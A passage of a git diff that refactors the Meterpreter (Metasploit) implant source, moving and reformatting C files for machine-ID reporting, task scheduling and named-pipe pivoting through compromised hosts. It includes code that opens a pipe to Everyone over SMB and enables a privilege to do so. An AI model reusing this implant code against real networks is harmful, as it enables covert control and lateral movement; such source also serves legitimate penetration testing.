Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_machine_id(Remote* remote, Packet* packet) +{ + DWORD res = ERROR_SUCCESS; + dprintf("[CORE] Running request_core_machine_id"); + Packet* response = packet_create_response(packet); + dprintf("[CORE] response is %p", response); + + if (response) + { + wchar_t buffer[MAX_PATH]; + if (GetSystemDirectory(buffer, MAX_PATH) != 0) + { + wchar_t computerName[MAX_PATH]; + DWORD computerNameSize = MAX_PATH; + DWORD serialNumber; + wchar_t* backslash = wcschr(buffer, L'\\'); + *(backslash + 1) = L'\0'; + + GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0); + + GetComputerName(computerName, &computerNameSize); + + _snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName); + packet_add_tlv_wstring(response, TLV_TYPE_MACHINE_ID, buffer); + dprintf("[CORE] sending machine id: %S", buffer); + } + + packet_transmit_response(res, remote, response); + } + + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/server/remote_dispatch.h b/c/meterpreter/source/metsrv/remote_dispatch.h old mode 100755 new mode 100644 similarity index 78% rename from c/meterpreter/source/server/remote_dispatch.h rename to c/meterpreter/source/metsrv/remote_dispatch.h index df5858c0..fe2ed3a5 --- a/c/meterpreter/source/server/remote_dispatch.h +++ b/c/meterpreter/source/metsrv/remote_dispatch.h @@ -1,13 +1,15 @@ -#ifndef _METERPRETER_SERVER_REMOTE_DISPATCHER_H -#define _METERPRETER_SERVER_REMOTE_DISPATCHER_H - -DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket); -DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket); - -DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand); -DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize); - -VOID register_dispatch_routines(); -VOID deregister_dispatch_routines(Remote * remote); - -#endif +#ifndef _METERPRETER_METSRV_REMOTE_DISPATCHER_H +#define _METERPRETER_METSRV_REMOTE_DISPATCHER_H + +#include "common.h" + +DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket); +DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket); + +DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand); +DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize); + +VOID register_dispatch_routines(); +VOID deregister_dispatch_routines(Remote * remote); + +#endif diff --git a/c/meterpreter/source/common/arch/win/remote_thread.c b/c/meterpreter/source/metsrv/remote_thread.c similarity index 100% rename from c/meterpreter/source/common/arch/win/remote_thread.c rename to c/meterpreter/source/metsrv/remote_thread.c diff --git a/c/meterpreter/source/common/arch/win/remote_thread.h b/c/meterpreter/source/metsrv/remote_thread.h similarity index 61% rename from c/meterpreter/source/common/arch/win/remote_thread.h rename to c/meterpreter/source/metsrv/remote_thread.h index a2baa49b..7cfe8bab 100644 --- a/c/meterpreter/source/common/arch/win/remote_thread.h +++ b/c/meterpreter/source/metsrv/remote_thread.h @@ -1,5 +1,5 @@ -#ifndef _METERPRETER_REMOTE_THREAD_H -#define _METERPRETER_REMOTE_THREAD_H +#ifndef _METERPRETER_METSRV_REMOTE_THREAD_H +#define _METERPRETER_METSRV_REMOTE_THREAD_H HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); diff --git a/c/meterpreter/source/common/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c similarity index 77% rename from c/meterpreter/source/common/scheduler.c rename to c/meterpreter/source/metsrv/scheduler.c index 2deed2cf..25f02dc4 100644 --- a/c/meterpreter/source/common/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -1,4 +1,4 @@ -#include "common.h" +#include "metsrv.h" #ifndef _WIN32 #include @@ -170,57 +170,59 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID th /* * Signal a waitable object. */ -DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ) +DWORD scheduler_signal_waitable(HANDLE waitable, SchedulerSignal signal) { - DWORD index = 0; - DWORD count = 0; - THREAD * thread = NULL; - WaitableEntry * entry = NULL; - DWORD result = ERROR_NOT_FOUND; + DWORD index = 0; + DWORD count = 0; + THREAD* thread = NULL; + WaitableEntry* entry = NULL; + DWORD result = ERROR_NOT_FOUND; - dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable ); + dprintf("[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable); - if( schedulerThreadList == NULL || !waitable ) + if (schedulerThreadList == NULL || !waitable) return ERROR_INVALID_HANDLE; - lock_acquire( schedulerThreadList->lock ); + lock_acquire(schedulerThreadList->lock); - count = list_count( schedulerThreadList ); + count = list_count(schedulerThreadList); - for( index=0 ; index < count ; index++ ) + for (index = 0; index < count; index++) { - thread = (THREAD *)list_get( schedulerThreadList, index ); - if( thread == NULL ) + thread = (THREAD*)list_get(schedulerThreadList, index); + if (thread == NULL) continue; - entry = (WaitableEntry *)thread->parameter1; - if( entry == NULL ) + entry = (WaitableEntry*)thread->parameter1; + if (entry == NULL) continue; - if( entry->waitable == waitable ) + if (entry->waitable == waitable) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); - if( signal == Pause ) + dprintf("[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread); + if (signal == SchedulerPause) { - if( entry->running ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle ); - event_signal( entry->pause ); - } else { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); + if (entry->running) { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle); + event_signal(entry->pause); + } + else { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread); } } else { - if( !entry->running ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle ); - event_signal( entry->resume ); + if (!entry->running) { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle); + event_signal(entry->resume); } - if( signal == Stop ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle ); - thread_sigterm( thread ); - } else { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); + if (signal == SchedulerStop) { + dprintf("[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle); + thread_sigterm(thread); + } + else { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread); } } @@ -229,9 +231,9 @@ DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ) } } - lock_release( schedulerThreadList->lock ); + lock_release(schedulerThreadList->lock); - dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" ); + dprintf("[SCHEDULER] leaving scheduler_signal_waitable"); return result; } diff --git a/c/meterpreter/source/metsrv/scheduler.h b/c/meterpreter/source/metsrv/scheduler.h new file mode 100644 index 00000000..0e488fc6 --- /dev/null +++ b/c/meterpreter/source/metsrv/scheduler.h @@ -0,0 +1,13 @@ +#ifndef _METERPRETER_METSRV_SCHEDULER_H +#define _METERPRETER_METSRV_SCHEDULER_H + +#include "remote.h" +#include "common_scheduler.h" + +DWORD scheduler_initialize( Remote * remote ); +DWORD scheduler_destroy( VOID ); +DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy ); +DWORD scheduler_signal_waitable( HANDLE waitable, SchedulerSignal signal ); +DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); + +#endif diff --git a/c/meterpreter/source/server/win/server_pivot.c b/c/meterpreter/source/metsrv/server_pivot.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/server/win/server_pivot.c rename to c/meterpreter/source/metsrv/server_pivot.c index 5b997d19..d2e49c58 --- a/c/meterpreter/source/server/win/server_pivot.c +++ b/c/meterpreter/source/metsrv/server_pivot.c @@ -1,49 +1,48 @@ -#include "metsrv.h" -#include "../../common/common.h" -#include "server_pivot.h" -#include "server_pivot_named_pipe.h" - -/*! - * @brief Add a pivot point to the current meterpreter session - * @remote Pointer to the \c Remote instance. - * @remote Pointer to the incoming request \c Packet instance. - * @return Indication of error or success. - * @remark This allows for meterpreter to become a staging and pivot point - * for other Meterpreter instances on the network. - */ -DWORD request_core_pivot_add(Remote* remote, Packet* packet) -{ - // Right now we only support named pipe pivotes, so just go straight there - return request_core_pivot_add_named_pipe(remote, packet); -} - -/*! - * @brief Remove a pivot point from the current Meterpreter instance. - * @remote Pointer to the \c Remote instance. - * @remote Pointer to the incoming request \c Packet instance. - * @return Indication of error or success. - */ -DWORD request_core_pivot_remove(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_NOT_FOUND; - LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); - - if (pivotId != NULL) - { - PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); - dbgprint_pivot_tree(remote->pivot_listeners); -#endif - if (ctx != NULL) - { - ctx->remove(ctx->state); - free(ctx); - result = ERROR_SUCCESS; - } - } - - packet_transmit_empty_response(remote, packet, result); - - return result; +#include "metsrv.h" +#include "server_pivot.h" +#include "server_pivot_named_pipe.h" + +/*! + * @brief Add a pivot point to the current meterpreter session + * @remote Pointer to the \c Remote instance. + * @remote Pointer to the incoming request \c Packet instance. + * @return Indication of error or success. + * @remark This allows for meterpreter to become a staging and pivot point + * for other Meterpreter instances on the network. + */ +DWORD request_core_pivot_add(Remote* remote, Packet* packet) +{ + // Right now we only support named pipe pivotes, so just go straight there + return request_core_pivot_add_named_pipe(remote, packet); +} + +/*! + * @brief Remove a pivot point from the current Meterpreter instance. + * @remote Pointer to the \c Remote instance. + * @remote Pointer to the incoming request \c Packet instance. + * @return Indication of error or success. + */ +DWORD request_core_pivot_remove(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_NOT_FOUND; + LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); + + if (pivotId != NULL) + { + PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); + dbgprint_pivot_tree(remote->pivot_listeners); +#endif + if (ctx != NULL) + { + ctx->remove(ctx->state); + free(ctx); + result = ERROR_SUCCESS; + } + } + + packet_transmit_empty_response(remote, packet, result); + + return result; } \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot.h b/c/meterpreter/source/metsrv/server_pivot.h old mode 100755 new mode 100644 similarity index 59% rename from c/meterpreter/source/server/win/server_pivot.h rename to c/meterpreter/source/metsrv/server_pivot.h index 94d0b6a5..5242e2ed --- a/c/meterpreter/source/server/win/server_pivot.h +++ b/c/meterpreter/source/metsrv/server_pivot.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_PIVOT -#define _METERPRETER_SERVER_PIVOT - -DWORD request_core_pivot_add(Remote* remote, Packet* packet); +#ifndef _METERPRETER_METSRV_SERVER_PIVOT +#define _METERPRETER_METSRV_SERVER_PIVOT + +DWORD request_core_pivot_add(Remote* remote, Packet* packet); DWORD request_core_pivot_remove(Remote* remote, Packet* packet); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_pivot_named_pipe.c rename to c/meterpreter/source/metsrv/server_pivot_named_pipe.c index 04a37e8a..bf1f2767 --- a/c/meterpreter/source/server/win/server_pivot_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c @@ -1,836 +1,835 @@ -#include "metsrv.h" -#include "../../common/common.h" -#include "server_pivot_named_pipe.h" -#include "../../common/packet_encryption.h" - -#include -#include - -#define PIPE_NAME_SIZE 256 -#define PIPE_BUFFER_SIZE 0x10000 - -typedef struct _NamedPipeContext -{ - // make sure we leave this as the first element, so that it can be cast - // to an OVERLAPPED pointer for various operations. - OVERLAPPED read_overlap; - OVERLAPPED write_overlap; - char name[PIPE_NAME_SIZE]; - GUID pivot_id; - GUID pivot_session_guid; - BOOL session_established; - CHAR guid_request_id[32]; - Remote* remote; - HANDLE pipe; - BOOL connecting; - BOOL established; - BYTE read_buffer[PIPE_BUFFER_SIZE]; - LPBYTE packet_buffer; - DWORD packet_buffer_size; - DWORD packet_buffer_offset; - DWORD packet_required_size; - LPVOID stage_data; - DWORD stage_data_size; - LOCK* write_lock; -} NamedPipeContext; - -static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext); -static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); -static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength); -static VOID free_server_context(NamedPipeContext* ctx); - -typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); -static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) -{ - static BOOL attempted = FALSE; - static PAddMandatoryAce pAddMandatoryAce = NULL; - - if (attempted) - { - attempted = TRUE; - - HMODULE lib = LoadLibraryA("advapi32.dll"); - if (lib != NULL) - { - pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); - dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); - } - } - - if (pAddMandatoryAce != NULL) - { - pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); - } - - return TRUE; -} - -static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext) -{ - NamedPipeContext* ctx = (NamedPipeContext*)entryContext; - if (ctx != NULL) - { - dprintf("[PIVOT] Cleaning up the pipe pivot context"); - lock_acquire(ctx->remote->lock); - CloseHandle(ctx->pipe); - CloseHandle(ctx->read_overlap.hEvent); - CloseHandle(ctx->write_overlap.hEvent); - SAFE_FREE(ctx->stage_data); - lock_destroy(ctx->write_lock); - lock_release(ctx->remote->lock); - dprintf("[PIVOT] Cleaned up the pipe pivot context"); - } - return ERROR_SUCCESS; -} - -static void terminate_pipe(NamedPipeContext* ctx) -{ - if (ctx != NULL) - { - scheduler_signal_waitable(ctx->read_overlap.hEvent, Stop); - } -} - -static DWORD remove_listener(LPVOID state) -{ - dprintf("[PIVOT] removing named pipe listener"); - terminate_pipe((NamedPipeContext*)state); - return ERROR_SUCCESS; -} - -static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sourceSize) -{ - BOOL relayPacket = TRUE; - // Make sure we have the space to handle the incoming packet - if (ctx->packet_buffer_size < sourceSize + ctx->packet_buffer_offset) - { - ctx->packet_buffer_size = sourceSize + ctx->packet_buffer_offset; - dprintf("[PIVOT] Allocating space: %u bytes", ctx->packet_buffer_size); - ctx->packet_buffer = (LPBYTE)realloc(ctx->packet_buffer, ctx->packet_buffer_size); - } - - // copy over the new data - memcpy(ctx->packet_buffer + ctx->packet_buffer_offset, source, sourceSize); - ctx->packet_buffer_offset += sourceSize; - - // check if the packet is complete - if (ctx->packet_required_size == 0) - { - dprintf("[PIVOT] Size not yet calculated"); - if (ctx->packet_buffer_offset >= sizeof(PacketHeader)) - { - dprintf("[PIVOT] header bytes received, calculating buffer offset"); - // get a copy of the header data and XOR it out so we can read the length - PacketHeader* header = (PacketHeader*)ctx->packet_buffer; -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)ctx->packet_buffer; - dprintf("[PIVOT] Packet header before XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); -#ifdef DEBUGTRACE - h = (PUCHAR)ctx->packet_buffer; - dprintf("[PIVOT] Packet header after XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - ctx->packet_required_size = ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); - xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); - dprintf("[PIVOT] Required size is %u bytes", ctx->packet_required_size); - } - } - - if (ctx->packet_required_size > 0 && ctx->packet_required_size <= ctx->packet_buffer_offset) - { - // whole packet is ready for transmission to the other side! Pivot straight through the existing - // transport by sending the raw packet to the transmitter. - if (!ctx->session_established) - { - dprintf("[PIPE] Session not yet established, checking for response packet"); - // we need to check if this packet contains a response to the request for a session guid - PacketHeader* header = (PacketHeader*)ctx->packet_buffer; - xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); - if (header->enc_flags == ENC_FLAG_NONE) - { - dprintf("[PIPE] Incoming packet is not encrypted!"); - Packet* packet = (Packet*)calloc(1, sizeof(Packet)); - packet->header.length = header->length; - packet->header.type = header->type; - packet->payloadLength = ntohl(packet->header.length) - sizeof(TlvHeader); - packet->payload = ctx->packet_buffer + sizeof(PacketHeader); - - CHAR* requestId = packet_get_tlv_value_string(packet, TLV_TYPE_REQUEST_ID); - if (requestId != NULL && memcmp(ctx->guid_request_id, requestId, sizeof(ctx->guid_request_id)) == 0) - { - dprintf("[PIPE] Request ID found and matches expected value"); - // we have a response to our session guid request - LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&sessionGuid[0]; - dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - h = (PUCHAR)&ctx->pivot_session_guid; - dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); -#endif - if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) - { - dprintf("[PIPE] Session guid returned, looks like the session is a reconnect"); - memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)); - - PivotContext* pc = pivot_tree_remove(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid); - if (pc != NULL) - { - dprintf("[PIPE] We seem to have acquired a new instance of a pivot we didnt know was dead. Killing!"); - free_server_context((NamedPipeContext*)pc->state); - free(pc); - } - } - else - { - dprintf("[PIPE] Session guid not found, looks like the session is new"); - - // We need to generate a new session GUID and inform metasploit of the new session - CoCreateGuid(&ctx->pivot_session_guid); - - // swizzle the values around so that endianness isn't an issue before casting to a block of bytes - ctx->pivot_session_guid.Data1 = htonl(ctx->pivot_session_guid.Data1); - ctx->pivot_session_guid.Data2 = htons(ctx->pivot_session_guid.Data2); - ctx->pivot_session_guid.Data3 = htons(ctx->pivot_session_guid.Data3); - } - - ctx->session_established = TRUE; - - PivotContext* pivotContext = (PivotContext*)calloc(1, sizeof(PivotContext)); - pivotContext->state = ctx; - pivotContext->packet_write = named_pipe_write_raw; - pivot_tree_add(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid, pivotContext); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot sessions (after new one added)"); - dbgprint_pivot_tree(ctx->remote->pivot_sessions); -#endif - - // with the session now established, we need to inform metasploit of the new connection - dprintf("[PIPE] Informing MSF of the new named pipe pivot"); - Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_new"); - packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid)); - packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id)); - packet_transmit(ctx->remote, notification, NULL); - - relayPacket = FALSE; - } - - free(packet); - } - xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); - } - - if (relayPacket) - { - dprintf("[PIVOT] Entire packet is ready, size is %u, offset is %u", ctx->packet_required_size, ctx->packet_buffer_offset); - ctx->remote->transport->packet_transmit(ctx->remote, ctx->packet_buffer, ctx->packet_required_size); - } - // TODO: error check? - - // with the packet sent, we need to rejig a bit here so that the next block of data - // results in a new packet. - DWORD diff = ctx->packet_buffer_offset - ctx->packet_required_size; - if (diff > 0) - { - dprintf("[PIVOT] Extra %u bytes found, shuffling data", diff); - memmove(ctx->packet_buffer, ctx->packet_buffer + ctx->packet_required_size, diff); - }; - dprintf("[PIVOT] Packet buffer reset"); - ctx->packet_buffer_offset = diff; - ctx->packet_required_size = 0; - } - - return ERROR_SUCCESS; -} - -static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength) -{ - NamedPipeContext* ctx = (NamedPipeContext*)state; - DWORD dwResult = ERROR_SUCCESS; - DWORD bytesWritten = 0; - - lock_acquire(ctx->write_lock); - - dprintf("[NP-SERVER] Writing a total of %u", rawLength); - while (bytesWritten < rawLength) - { - DWORD byteCount = 0; - WriteFile(ctx->pipe, raw, rawLength - bytesWritten, NULL, &ctx->write_overlap); - //WriteFile(ctx->pipe, raw, min(rawLength - bytesWritten, PIPE_BUFFER_SIZE), NULL, &ctx->write_overlap); - - // blocking here is just fine, it's the reads we care about - if (GetOverlappedResult(ctx->pipe, &ctx->write_overlap, &byteCount, TRUE)) - { - dprintf("[NP-SERVER] Wrote %u", byteCount); - bytesWritten += byteCount; - } - else - { - BREAK_ON_ERROR("[NP-SERVER] failed to do the write"); - } - dprintf("[NP-SERVER] left to go: %u", rawLength - bytesWritten); - } - - dprintf("[NP SERVER] server write. finished. dwResult=%d, written=%d", dwResult, bytesWritten); - - lock_release(ctx->write_lock); - - return dwResult; -} - -VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) -{ - // Start with the DACL (perhaps try the NULL sid if it doesn't work?) - SID_IDENTIFIER_AUTHORITY sidWorld = SECURITY_WORLD_SID_AUTHORITY; - PSID sidEveryone = NULL; - if (!AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) - { - dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); - return; - } - - dprintf("[NP-SERVER] sidEveryone: %p", sidEveryone); - - EXPLICIT_ACCESSW ea = { 0 }; - ea.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; - ea.grfAccessMode = SET_ACCESS; - ea.grfInheritance = NO_INHERITANCE; - ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; - ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - ea.Trustee.ptstrName = (LPWSTR)sidEveryone; - - //PACL dacl = (PACL)LocalAlloc(LPTR, 256); - PACL dacl = NULL; - DWORD result = SetEntriesInAclW(1, &ea, NULL, &dacl); - if (result != ERROR_SUCCESS) - { - dprintf("[NP-SERVER] SetEntriesInAclW failed: %u", result); - } - dprintf("[NP-SERVER] DACL: %p", dacl); - - // set up the sacl - SID_IDENTIFIER_AUTHORITY sidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; - PSID sidLow = NULL; - if (!AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) - { - dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); - } - dprintf("[NP-SERVER] sidLow: %p", dacl); - - PACL sacl = (PACL)LocalAlloc(LPTR, 256); - if (!InitializeAcl(sacl, 256, ACL_REVISION_DS)) - { - dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); - } - - if (!AddMandatoryAce(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) - { - dprintf("[NP-SERVER] AddMandatoryAce failed: %u", GetLastError()); - } - - // now build the descriptor - PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) - { - dprintf("[NP-SERVER] InitializeSecurityDescriptor failed: %u", GetLastError()); - } - - // add the dacl - if (!SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) - { - dprintf("[NP-SERVER] SetSecurityDescriptorDacl failed: %u", GetLastError()); - } - - // now the sacl - if (!SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) - { - dprintf("[NP-SERVER] SetSecurityDescriptorSacl failed: %u", GetLastError()); - } - - psa->nLength = sizeof(SECURITY_ATTRIBUTES); - psa->bInheritHandle = FALSE; - psa->lpSecurityDescriptor = sd; -} - -DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) -{ - HANDLE accessToken; - TOKEN_PRIVILEGES tp; - TOKEN_PRIVILEGES prevTp; - LUID luid; - DWORD tpLen; - - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) - { - dprintf("[NP-PRIV] Couldn't open process token: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - if (!LookupPrivilegeValueW(NULL, privName, &luid)) - { - dprintf("[NP-PRIV] Couldn't look up the value: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; - - if (!AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) - { - dprintf("[NP-PRIV] Couldn't adjust the token privs: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - *wasEnabled = (prevTp.Privileges[0].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED ? TRUE : FALSE; - dprintf("[NP-PRIV] the %S token was %senabled, and is now %s", privName, *wasEnabled ? "" : "not ", enable ? "enabled" : "disabled"); - - CloseHandle(accessToken); - - return ERROR_SUCCESS; -} - -DWORD create_pipe_server_instance(NamedPipeContext* ctx) -{ - DWORD dwResult = ERROR_SUCCESS; - - do - { - dprintf("[NP-SERVER] Creating new server instance of %s", ctx->name); - - BOOL wasEnabled; - DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); - - if (toggleResult == ERROR_SUCCESS) - { - // set up a session that let's anyone with SMB access connect - SECURITY_ATTRIBUTES sa = { 0 }; - create_pipe_security_attributes(&sa); - ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, &sa); - - if (wasEnabled == FALSE) - { - 